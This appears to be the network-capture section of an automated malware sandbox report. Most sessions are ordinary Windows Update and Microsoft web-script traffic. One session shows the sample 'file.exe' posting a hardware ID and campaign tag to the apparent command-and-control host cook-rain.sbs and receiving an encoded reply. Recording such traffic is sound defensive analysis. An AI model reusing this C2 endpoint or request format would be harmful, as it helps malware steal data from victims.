2024-11-18 16:23:25 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hd6jceeprua93ogjujhd36nlu2; expires=Fri, 14-Mar-2025 10:10:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uzB0bwb2f%2FrRpJXrFEZpRUK9Nqzw0FztTim4wensHaC55SGf8eGpprmOlPItntJ8uq6SlSsraokwM2IkaxrqM%2F6rgZ%2FRia9jQw7vkiBBJ8M7CBKn3tUKBIjWTPes%2B%2FLH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e494deccd2a5202-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18953&sent=178&recv=464&lost=0&retrans=0&sent_bytes=2828&recv_bytes=572567&delivery_rate=153813&cwnd=32&unsent_bytes=0&cid=08e4799fb9c9270e&ts=5482&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Om9ZGPOBELmu1Wp&MD=Lsx14ymd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 16:23:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 73ea514d-1da8-4d9f-8594-eb647a1e12cf MS-RequestId: 91602ed8-fc2b-41a9-88b5-01e79323314c MS-CV: O3wOnQAWK02DCEu1.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 16:23:22 GMT Connection: close Content-Length: 24490
2024-11-18 16:23:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 16:23:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	188.114.96.3	443	7480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:25 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-18 16:23:25 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 43 32 39 43 45 32 46 45 35 32 33 30 32 45 41 31 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=C29CE2FE52302EA1F7005D7B20127A88
2024-11-18 16:23:26 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gscs50s80bbekbak0eot81r53d; expires=Fri, 14-Mar-2025 10:10:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jtCeZBkP0nzgYqEIRvMxAcJqg8xcfYous2zRr4THLU2C%2FK%2BCOGHDoKwl1Fo7Hj8KNMcnxTnTQcwYbAinVJZJ7H5zZBqedAzfoctp27g1%2Bmf8Lbi%2Fs%2BCStwkgoL6m8EkM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e494e12e993e95e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1105&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=2618444&cwnd=251&unsent_bytes=0&cid=aee3d68ec5f05c6f&ts=505&x=0"
2024-11-18 16:23:26 UTC	214	IN	Data Raw: 64 30 0d 0a 51 63 4d 74 39 4d 55 33 42 4a 68 63 56 74 45 64 30 4f 75 63 34 47 4d 78 30 31 6c 6c 78 45 59 2b 30 6a 51 44 75 33 43 30 46 62 67 61 75 41 2b 42 35 77 30 6d 38 43 67 69 6f 53 65 4d 78 4d 44 50 55 67 6e 6d 64 31 66 31 63 78 44 6a 42 54 43 56 51 59 4a 4a 6c 79 36 6c 53 36 6a 71 55 32 48 2b 63 6a 4f 70 65 50 4c 48 76 6f 59 58 45 2b 6c 70 53 65 59 6a 48 4f 67 46 66 70 63 4c 6c 6d 43 61 65 2b 46 46 67 4c 46 48 50 73 52 7a 43 76 34 73 36 4e 36 79 30 6c 49 45 2f 57 68 55 39 32 67 50 35 47 67 73 79 41 54 52 64 4e 55 64 37 46 2b 56 71 31 4e 72 39 58 49 7a 71 58 6a 79 78 37 36 47 46 78 50 70 61 55 6e 6d 49 78 7a 6f 42 58 37 6d 0d 0a Data Ascii: d0QcMt9MU3BJhcVtEd0Ouc4GMx01llxEY+0jQDu3C0FbgauA+B5w0m8CgioSeMxMDPUgnmd1f1cxDjBTCVQYJJly6lS6jqU2H+cjOpePLHvoYXE+lpSeYjHOgFfpcLlmCae+FFgLFHPsRzCv4s6N6y0lIE/WhU92gP5GgsyATRdNUd7F+Vq1Nr9XIzqXjyx76GFxPpaUnmIxzoBX7m
2024-11-18 16:23:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49762	13.107.246.67	443	5440	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:43 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 16:23:44 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:43 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 25654 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c254d5cd-a01e-0060-689a-3951de000000 x-ms-version: 2009-09-19 x-azure-ref: 20241118T162343Z-16547b76f7fht2hfhC1DFWbngg00000006a000000000wmvx Accept-Ranges: bytes
2024-11-18 16:23:44 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-18 16:23:44 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-18 16:23:44 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-18 16:23:44 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-18 16:23:44 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49761	13.107.246.45	443	5440	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:43 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 16:23:44 UTC	891	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:43 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T162343Z-16547b76f7fhvzzthC1DFW5570000000066g00000000450w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:23:44 UTC	15493	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-18 16:23:44 UTC	16384	IN	Data Raw: 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d Data Ascii: ?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[m
2024-11-18 16:23:44 UTC	16384	IN	Data Raw: 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f Data Ascii: gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,functio
2024-11-18 16:23:44 UTC	16384	IN	Data Raw: 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d Data Ascii: ,m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16}
2024-11-18 16:23:44 UTC	16384	IN	Data Raw: 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e Data Ascii: mal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return n
2024-11-18 16:23:44 UTC	16384	IN	Data Raw: 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f Data Ascii: uto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return 